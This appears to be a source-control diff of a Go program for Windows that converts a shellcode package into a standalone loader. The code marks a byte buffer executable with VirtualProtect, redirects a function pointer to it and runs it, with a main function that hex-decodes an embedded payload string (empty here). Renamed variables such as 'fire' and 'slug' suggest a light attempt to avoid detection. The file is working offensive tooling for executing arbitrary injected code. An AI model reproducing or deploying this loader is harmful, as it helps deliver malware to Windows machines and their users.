1
- package shellcode
1
+ package main
2
2
3
3
import (
4
4
"syscall"
5
5
"unsafe"
6
+ "encoding/hex"
7
+ "os"
6
8
)
7
9
8
- var procVirtualProtect = syscall .NewLazyDLL ("kernel32.dll" ).NewProc ("VirtualProtect" )
10
+ var (
11
+ Kernel32DLL = syscall .NewLazyDLL ("kernel32.dll" )
12
+ procVirtualProtect = Kernel32DLL .NewProc ("VirtualProtect" )
13
+ )
14
+
15
+ //var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
9
16
10
17
func VirtualProtect (lpAddress unsafe.Pointer , dwSize uintptr , flNewProtect uint32 , lpflOldProtect unsafe.Pointer ) bool {
18
+ //LPVOID VirtualAlloc(
19
+ // LPVOID lpAddress,
20
+ // SIZE_T dwSize,
21
+ // DWORD flAllocationType,
22
+ // DWORD flProtect
11
23
ret , _ , _ := procVirtualProtect .Call (
12
24
uintptr (lpAddress ),
13
25
uintptr (dwSize ),
@@ -16,7 +28,7 @@ func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint3
16
28
return ret > 0
17
29
}
18
30
19
- func Run (sc []byte ) {
31
+ func Run (fire []byte ) {
20
32
// TODO need a Go safe fork
21
33
// Make a function ptr
22
34
f := func () {}
@@ -28,14 +40,23 @@ func Run(sc []byte) {
28
40
}
29
41
30
42
// Override function ptr
31
- * * (* * uintptr )(unsafe .Pointer (& f )) = * (* uintptr )(unsafe .Pointer (& sc ))
43
+ * * (* * uintptr )(unsafe .Pointer (& f )) = * (* uintptr )(unsafe .Pointer (& fire ))
32
44
33
45
// Change permissions on shellcode string data
34
46
var oldshellcodeperms uint32
35
- if ! VirtualProtect (unsafe .Pointer (* (* uintptr )(unsafe .Pointer (& sc ))), uintptr (len (sc )), uint32 (0x40 ), unsafe .Pointer (& oldshellcodeperms )) {
47
+ if ! VirtualProtect (unsafe .Pointer (* (* uintptr )(unsafe .Pointer (& fire ))), uintptr (len (fire )), uint32 (0x40 ), unsafe .Pointer (& oldshellcodeperms )) {
36
48
panic ("Call to VirtualProtect failed!" )
37
49
}
38
50
39
51
// Call the function ptr it
40
52
f ()
41
53
}
54
+
55
+ func main () {
56
+ slug := ""
57
+ fire , err := hex .DecodeString (slug )
58
+ if err != nil {
59
+ os .Exit (1 )
60
+ }
61
+ Run (fire )
62
+ }
0 commit comments